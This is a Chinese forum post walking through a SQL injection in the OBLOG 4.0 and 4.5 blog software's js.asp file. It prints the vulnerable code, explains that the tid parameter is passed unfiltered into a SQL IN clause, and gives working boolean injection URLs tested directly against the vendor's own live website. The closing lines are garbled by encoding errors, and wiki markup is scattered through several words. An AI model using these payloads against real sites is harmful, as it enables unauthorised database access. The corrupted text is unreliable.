浏览主站 | 站长工具 | 新闻资讯 | 站长学院 | 站长盈利 | HTML教程 | 网址导航 | 站长周刊 | 会员投稿 | 滚动新闻 | RSS
发新话题
打印

OBLOG通杀4.0、4.5漏洞解析

OBLOG通杀4.0、4.5漏洞解析

[[wiki]wiki[/wiki]][/wiki][wiki]神[/wiki]無月&落叶纷飞[S.S.T]
不废话话了 OBLOG4.0跟最新的OBLOG4.5通杀!!
漏洞文件:js.asp
看代码
<!--#include file="conn.asp"-->
<!--#include file="inc/class_sys.asp"-->
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blog[wiki]URL[/wiki],n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Req[wiki]UE[/wiki]st("n"))
if n=0 then n=1
select case CInt(Request("j"))
        case 1
        call tongji()
        case 2
        call topuser()
        case 3
        call adduser()
        case 4
        call lis[wiki]TCL[/wiki]ass()
        case 5
        call showuser[wiki]type[/wiki]()
        case 6
        call listbestblog()
        case 7
        call showlogin()
        case 8
        call showplace()
        case 9
        call showphoto()
        case 10
        call showblogstars()
        Case 11
        Call show_hotblog()
        Case 12
        Call show_teams()
        Case 13
        Call show_[wiki]POS[/wiki]ts()
        Case 14
        Call show_hot[wiki]TAG[/wiki]()
        case 0
        call showlog()
end select
****************省略部分代码******************
Sub show_posts()
        Dim teamid,postnum,l,u,t
        teamid=Request("tid")
        postnum=n
        l=CInt(Request("l"))
        u=CInt(Request("u"))
        t=CInt(Request("t"))
        Dim rs,[wiki]SQL[/wiki],sRet,sAddon
        Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "
        If teamid<>"" And teamid<>"0" Then
                teamid=Replace(teamid,"|",",")
                Sql=Sql & " And teamid In (" & teamid & ") "
        End If
        Sql=Sql & " Order by postid Desc"
        Set rs=oblog.Execute(Sql)
        sRet="<ul>"
        Do While Not rs.Eof
                sAddon=""
                sRet=sRet & "<li><a href="""&js_blogurl&"group.asp?gid=" & rs(0) & "&pid=" & rs(1) & """ target=""_blank"">" & oblog.Filt_html(Left(rs(2),l)) & "</a>"
                If u=1 Then sAddon=rs(4)
                if t=1 Then
                        If sAddon<>"" Then sAddon=sAddon & ","
                        sAddon=sAddon & rs(3)
                End If
                If sAddon<>"" Then sAddon="(" & sAddon & ")"
                sRet=sRet & sAddon & "</li>"
                rs.Movenext
        Loop
        Set rs = Nothing
        sRet=sRet & "</ul>"
        Response.write oblog.htm2js (sRet,True)
End Sub

   很明显就看到TID没有经过过滤就直接递交给TEAMID了 TEAMID只过滤了"|" 就直接进SQL语句了,对我们的注入没多大影响.

下面拿官方来[wiki]测试[/wiki].

地址:http://www.oblog.com.cn/index.html

直接进入js.asp页 要调用show_posts()过程必须要符合上面的参数n=1,j=13

懂ASP的就很容易看懂了,开始注咯,要注意的只是(" & teamid & ")两边的括号

很容易就能闭合他协调回SQL语句了,下面就开始测试注入是否存在了

提交http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1 如图1

这图比较怪.呵呵.接着加个单引号试试.

如图2

接着提交

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常 如图3

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常 如图4

仔细看就能看出 异常礫wiki]氖[/wiki]焙蛎挥泻诘愕

TOP

发新话题